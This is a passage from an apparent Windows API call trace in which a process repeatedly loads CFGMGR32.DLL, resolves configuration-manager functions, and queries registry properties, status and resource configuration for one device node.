(hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.711] malloc (_Size=0x18) returned 0x20abc281c40 [0239.711] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0239.716] malloc (_Size=0x48) returned 0x20abc27cb20 [0239.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4aa618a0, dwHighDateTime=0x1d9eb0c)) [0239.716] SetEvent (hEvent=0x248) returned 1 [0239.720] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.720] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.720] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.724] malloc (_Size=0x18) returned 0x20abc281e80 [0239.724] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0239.724] malloc (_Size=0x48) returned 0x20abc27cb20 [0239.724] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4aa618a0, dwHighDateTime=0x1d9eb0c)) [0239.725] SetEvent (hEvent=0x248) returned 1 [0239.729] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.730] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.730] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.730] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.730] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.730] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.731] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.731] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.731] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.731] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.731] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.731] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.732] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.732] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.732] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.732] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.732] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.733] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.733] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.733] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.733] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.733] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.733] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.734] malloc (_Size=0x18) returned 0x20abc281f20 [0239.734] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0239.735] malloc (_Size=0x48) returned 0x20abc27cb20 [0239.735] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4aa879fd, dwHighDateTime=0x1d9eb0c)) [0239.735] SetEvent (hEvent=0x248) returned 1 [0239.880] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.880] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.881] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.881] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.881] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.883] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.883] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.883] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.883] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.883] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.884] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.884] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.884] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.884] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.884] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.885] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.885] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.885] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.885] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.885] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.886] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.886] malloc (_Size=0x18) returned 0x20abc281b80 [0239.887] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0239.888] malloc (_Size=0x48) returned 0x20abc27cb20 [0239.888] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4ac0f08e, dwHighDateTime=0x1d9eb0c)) [0239.888] SetEvent (hEvent=0x248) returned 1 [0239.898] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.898] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.898] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.898] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.899] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.899] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.899] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.899] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.899] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.899] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.900] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.900] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.900] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.900] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.900] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.900] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.901] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.901] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.901] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.901] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.901] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.902] malloc (_Size=0x18) returned 0x20abc281c80 [0239.903] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0239.907] malloc (_Size=0x48) returned 0x20abc27cf80 [0239.907] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4ac1b5d9, dwHighDateTime=0x1d9eb0c)) [0239.908] SetEvent (hEvent=0x248) returned 1 [0239.913] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.913] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.915] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.915] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.915] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.915] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.915] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.915] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.916] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.916] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.916] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.916] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.916] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.917] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.917] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.917] malloc (_Size=0x18) returned 0x20abc281f80 [0239.917] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x2e, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0239.918] malloc (_Size=0x48) returned 0x20abc27cb20 [0239.918] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x4ac41b9b, dwHighDateTime=0x1d9eb0c)) [0239.918] SetEvent (hEvent=0x248) returned 1 [0239.982] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.983] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.986] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.986] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.986] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.986] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.987] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.987] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.988] malloc (_Size=0x18) returned 0x20abc281b20 [0239.988] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x2e, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0239.989] malloc (_Size=0x48) returned 0x20abc27cb20 [0239.989] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4ad008e9, dwHighDateTime=0x1d9eb0c)) [0239.989] SetEvent (hEvent=0x248) returned 1 [0239.994] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.994] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.997] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.997] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.997] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.997] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.997] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.997] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.997] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.998] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.998] malloc (_Size=0x18) returned 0x20abc281d60 [0239.998] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0239.999] malloc (_Size=0x48) returned 0x20abc27cb20 [0239.999] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4ad008e9, dwHighDateTime=0x1d9eb0c)) [0239.999] SetEvent (hEvent=0x248) returned 1 [0240.007] malloc (_Size=0xd8) returned 0x20abc284e70 [0240.007] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0240.007] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0240.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0240.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0240.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0240.008] GetProcAddress (hModule=0x7ffb1ced0000, 